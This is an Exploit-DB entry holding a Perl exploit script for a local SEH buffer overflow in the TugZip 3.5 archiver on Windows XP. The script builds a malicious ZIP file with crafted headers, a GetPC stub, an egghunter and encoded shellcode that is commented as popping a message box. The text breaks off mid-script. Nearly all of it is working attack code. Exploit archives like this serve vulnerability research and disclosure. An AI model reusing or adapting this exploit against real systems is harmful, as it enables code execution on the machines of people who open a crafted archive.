Exploit-DB #12008
Description: TugZip 3.5 Archiver - '.ZIP' File Buffer Overflow
Type: local
Platform: windows
Date: 2010-04-01
Author: Lincoln

Exploit:
#!/usr/bin/perl
# Software      : TugZip 3.5 (.zip)
# Author        : Lincoln
# Assisted by   : corelanc0d3r
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : SEH
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#
# Code :
print "|------------------------------------------------------------------|\n";
print "|                         __               __                      |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] Exploit for TugZip 3.5 \n";



my $filename="tugzip.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xb8\x0b" .# 3k size
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xb8\x0b". # 3k size
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00".
"\xe6\x0b\x00\x00". # +46
"\xe5\x0b\x00\x00". # +30
"\x00\x00";

#Only about 120 bytes after p/p/r

my $getpc =
#align regs into ebx
"\x61\x61\x61\x61\x61\x5b".

#getpc: http://www.corelan.be:8800/index.php/2010/03/27/exploiting-ken-ward-zipper-taking-advantage-of-payload-conversion/
"\x89\x05".   #jmp short (5 bytes) to 'jmp back' at end
"\x5e".       #pop esi
"\x41".       #nop (inc ecx)
"\x98\x99".   #call esi
"\x41".       #nop (inc ecx)
"\x8a\x94\x98\x98\x98";  #jmp back to pop esi

#mov ebx into egghunter starting location, base reg esi
my $egg =
"VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs".
"rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA";

#msgbox: "Exploited by Corelan Security Team"
my $shellcode =
"w00tw00t".
"\x89\xe3\xda\xd7\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x4a\x79\x4a\x4b\x4d\x4b\x4b\x69\x51\x64\x45" .
"\x74\x4a\x54\x45\x61\x4e\x32\x4e\x52\x42\x5a\x46\x51\x49" .
"\x59\x42\x44\x4e\x6b\x51\x61\x44\x70\x4c\x4b\x43\x46\x44" .
"\x4c\x4e\x6b\x42\x56\x47\x6c\x4c\x4b\x51\x56\x44\x48\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x45\x66\x50\x38\x50\x4f\x47" .
"\x68\x50\x75\x4c\x33\x50\x59\x45\x51\x4b\x61\x4b\x4f\x48" .
"\x61\x51\x70\x4c\x4b\x50\x6c\x46\x44\x45\x74\x4c\x4b\x51" .
"\x55\x47\x4c\x4c\x4b\x50\x54\x43\x35\x50\x78\x43\x31\x4b" .
"\x5a\x4c\x4b\x42\x6a\x47\x68\x4e\x6b\x43\x6a\x47\x50\x45" .
"\x51\x4a\x4b\x48\x63\x46\x57\x50\x49\x4e\x6b\x44\x74\x4c" .
"\x4b\x45\x51\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4b\x70\x4b" .
"\x4c\x4e\x4c\x4f\x74\x4b\x70\x43\x44\x46\x6a\x4a\x61\x4a" .
"\x6f\x44\x4d\x47\x71\x4b\x77\x48\x69\x4a\x51\x4b\x4f\x49" .
"\x6f\x49\x6f\x45\x6b\x43\x4c\x45\x74\x51\x38\x51\x65\x49" .
"\x4e\x4e\x6b\x42\x7a\x45\x74\x45\x51\x4a\x4b\x43\x56\x4e" .
"\x6b\x46\x6c\x42\x6b\x4c\x4b\x43\x6a\x45\x4c\x43\x31\x4a" .
"\x4b\x4e\x6b\x45\x54\x4e\x6b\x47\x71\x4d\x38\x4f\x79\x51" .
"\x54\x46\x44\x47\x6c\x45\x31\x4a\x63\x4f\x42\x44\x48\x46" .
"\x49\x48\x54\x4f\x79\x4b\x55\x4d\x59\x49\x52\x50\x68\x4c" .
"\x4e\x50\x4e\x44\x4e\x48\x6c\x50\x52\x4b\x58\x4d\x4c\x4b" .
"\x4f\x49\x6f\x4b\x4f\x4f\x79\x51\x55\x46\x64\x4d\x6b\x51" .
"\x6e\x49\x48\x4d\x32\x51\x63\x4c\x47\x45\x4c\x44\x64\x51" .
"\x42\x4d\x38\x4e\x6b\x49\x6f\x49\x6f\x4b\x4f\x4c\x49\x42" .
"\x65\x47\x78\x43\x58\x42\x4c\x50\x6c\x45\x70\x4b\x4f\x51" .
"\x78\x47\x43\x45\x62\x46\x4e\x45\x34\x45\x38\x51\x65\x51" .
"\x63\x45\x35\x44\x32\x4d\x58\x51\x4c\x44\x64\x44\x4a\x4c" .
"\x49\x48\x66\x43\x66\x4b\x4f\x43\x65\x46\x64\x4c\x49\x4b" .
"\x72\x50\x50\x4d\x6b\x4e\x48\x4c\x62\x50\x4d\x4d\x6c\x4e" .
"\x67\x47\x6c\x47\x54\x46\x32\x4b\x58\x43\x6e\x49\x6f\x49" .
"\x6f\x49\x6f\x42\x48\x51\x74\x45\x71\x51\x48\x45\x70\x43" .
"\x58\x44\x30\x43\x47\x42\x4e\x42\x45\x44\x71\x4b\x6b\x4b" .
"\x38\x43\x6c\x45\x74\x46\x66\x4b\x39\x48\x63\x45\x38\x50" .
"\x61\x42\x4d\x50\x58\x45\x70\x51\x78\x42\x59\x45\x70\x50" .
"\x54\x51\x75\x51\x78\x44\x35\x43\x42\x50\x69\x51\x64\x43" .
"\x58\x51\x30\x43\x63\x45\x35\x43\x53\x51\x78\x42\x45\x42" .
"\x4c\x50\x61\x50\x6e\x42\x48\x51\x30\x51\x53\x50\x6f\x50" .
"\x72\x45\x38\x43\x54\x51\x30\x50\x62\x43\x49\x51\x78\x42" .
"\x4f\x43\x59\x42\x54\x50\x65\x51\x78\x42\x65\x51\x68\x42" .
"\x50\x50\x6c\x46\x51\x48\x49\x4e\x68\x50\x4c\x46\x44\x45" .
"\x72\x4d\x59\x49\x71\x44\x71\x4a\x72\x43\x62\x43\x63\x50" .
"\x51\x46\x32\x4b\x4f\x48\x50\x50\x31\x4f\x30\x46\x30\x4b" .
"\x4f\x51\x45\x44\x48\x45\x5a\x41\x41";

# --- payload ---
my $size=2996;
my $junk = "A" x 372;
my $nseh="\x61\x5c\x7a\x04"; #Small space, take advantage!
my $seh ="\x7e\x30\x0c\x7e";  #ztvcabin.7E0C307E
my $payload = $junk.$nseh.$seh.$getpc.$egg.$shellcode;
my $rest = "D" x ($size - length($payload)); #more room
$payload = $payload . $rest. ".txt";

print "[+] Size : " . length($payload)."\n";
system("del $filename");
p